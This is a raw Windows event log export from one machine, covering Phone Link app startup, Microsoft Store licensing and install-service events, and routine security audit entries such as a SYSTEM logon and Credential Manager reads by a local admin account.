08:29:24.161\t211\tAdded process 16216 to Desktop AppX container 245cdb4d-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:24.162\t201\tCreated process 16216 for application Microsoft.YourPhone_8wekyb3d8bbwe!App in package Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:24.165\t505\t\"Compatibility fix applied to C:\\Program Files\\WindowsApps\\Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe\\PhoneExperienceHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:29:24.506\t505\t\"Compatibility fix applied to C:\\Program Files\\WindowsApps\\Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe\\YourPhoneAppProxyHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:29:24.556\t2002\t\"Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nError: Unspecified error\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:29:24.558\t2002\t\"Windows::Services::Store::StoreContextFactory::GetDefault() invoked. (CV:exbuXxFHwECWL3f3.2)\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::StoreContextFactory::GetDefault\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\storecontext.cpp (63)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:29:24.570\t8001\t\"Licensing package Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe (3)\nFunction: OneStoreApplicationLicenseManager::GetLicenseForInstalledPackage\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (120)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.570\t8001\t\"Licensing EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.570\t8001\t\"0000021F83178E70: Key Machine for content: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.570\t8011\t0x21f83133e68: 13668: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.570\t8011\t0x21f83178e90: 13668: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.570\t8001\t\"0000021F83178E70: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.570\t8012\t0x21f83178e90: 13668: Key:Initial Change: Key:NegotiatingUnleased => EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.572\t8001\t\"Considering License ID {0F8E2CD5-B8EB-7A22-B9E9-9B1183FA0A84} for content ID EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.572\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"6ead4a77-d076-4866-9188-621a5b1f414f\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.572\t8001\t\"Accepting key with License ID {0F8E2CD5-B8EB-7A22-B9E9-9B1183FA0A84} for Content ID EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.572\t8001\t\"Returning key document for contentid EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.572\t8001\t\"Getting lease for EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.575\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.575\t8001\t\"Adding lease {A900C622-99E6-0D09-3F2B-FC30E2F4563B} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.575\t8001\t\"Returning 1 lease documents for contentid EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.576\t8001\t\"lease = 0x83178128, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.576\t8001\t\"lease = 0x83178128, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.576\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.576\t8011\t0x21f83178e90: 13732: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8001\t\"lease = 0x83178128, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8001\t\"Lease Machine: 0000021F8312AA00: {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8001\t\"Set results for lease = 0x83178128, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8011\t0x21f8312aa20: 13668: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x83178128\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8012\t0x21f83178e90: 13732: Key:NegotiatingUnleased Change: Key:Valid => EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8012\t0x21f8312aa20: 13668: Lease:Initial Change: Lease:Valid => {7BA318A1-DC47-F731-723C-537E883DC563}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"6ead4a77-d076-4866-9188-621a5b1f414f\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8011\t0x21f83178e90: 13732: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.581\t8001\t\"Updating lease timer for {7BA318A1-DC47-F731-723C-537E883DC563} to expire @ 2026-09-05T02:04:00Z (jitter was 34.593315 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.581\t8001\t\"Added timer for {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.581\t8011\t0x21f8312aa20: 13668: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.582\t2002\t\"StoreContextServer::Initialize: packageFullName = Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe, productStoreId = 9NMPJ99VJBWV, isLicensed = true, isAppContainer = false\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::Internal::StoreContextServer::_InitializeImpl\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\windows\\storecontextserver.cpp (1159)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:29:24.583\t2002\t\"Windows::Services::Store::StoreContext::GetAppAndOptionalStorePackageUpdatesAsync invoked. (CV:exbuXxFHwECWL3f3.2.3)\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::StoreContext::GetAppAndOptionalStorePackageUpdatesAsync\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\storecontext.cpp (1403)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:29:24.586\t2002\t\"Adding calling package = Microsoft.YourPhone_8wekyb3d8bbwe for productId = 9NMPJ99VJBWV\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::Internal::StoreContextServer::GetAppAndOptionalStorePackageUpdates\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\windows\\storecontextserver.cpp (3491)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:29:24.610\t2000\t\"Process Name: C:\\Program Files\\WindowsApps\\Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe\\PhoneExperienceHost.exe\nModule Name: C:\\Windows\\System32\\InstallService.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435, UBR: 9168\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.610\t2006\t\"Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nError: Unspecified error\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.667\t8001\t\"Skipping license manager: PFN Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.718\t210\tCreated Desktop AppX container {245CDB9B-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:24.719\t211\tAdded process 15396 to Desktop AppX container 245cdb9b-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:24.778\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.835\t2005\t\"oneSettingsconcurrentDefaultInstalls = 3, oneSettingsconcurrentMinInstalls = 3\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetConcurrentInstallsFromOneSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (763)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.838\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:24.838\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:24.859\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:24.861\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:24.861\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:24.863\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:24.865\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:24.867\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:24.868\t2000\t\"Process Name: C:\\WINDOWS\\System32\\svchost.exe\nModule Name: c:\\windows\\system32\\installservice.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435, UBR: 9168\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.869\t2006\t\"Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nError: Unspecified error\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.869\t2005\t\"Initializing InstallService for shared\nError: Unknown HResult Error code: 0xefffffff\nFunction: ServiceMain\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\svcmain.cpp (207)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.874\t2005\t\"Initializing InstallService\nError: Unknown HResult Error code: 0xefffffff\nFunction: InstallService::ServiceStarted\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\svcmain.cpp (52)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.875\t2006\t\"[Telemetry]: StateTransition :: ProductId = (null) \u00a0PFN = (null) \u00a0CatalogId = (null) \u00a0FulfillmentPluginId = (null) \u00a0PluginTelemetryData = (null) \u00a0PrevState = ServiceStateChange \u00a0NewState = ServiceStateChange \u00a0PluginLastStage = 1 \u00a0HResult = 0 \u00a0__TlgCV__ = (null) \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.877\t2006\t\"Checking if User sessions are ready\nError: The operation completed successfully.\nFunction: InstallQueue2::_WaitForUserSessions\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (5426)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.881\t2006\t\"Loaded listener for progress events. Listener = CuratedTileCollections.StoreEventListener \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_LoadRegistryHandlers\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (5542)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.881\t2416\tA local notification was received from Microsoft.YourPhone_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.881\t2416\tA local notification was received from Microsoft.YourPhone_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.882\t2006\t\"Loaded listener for progress events. Listener = EnterpriseModernAppManagement.EAMProgressHandler \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_LoadRegistryHandlers\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (5542)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.884\t2418\tA local notification was submitted to threadpool: Microsoft.YourPhone_8wekyb3d8bbwe!App 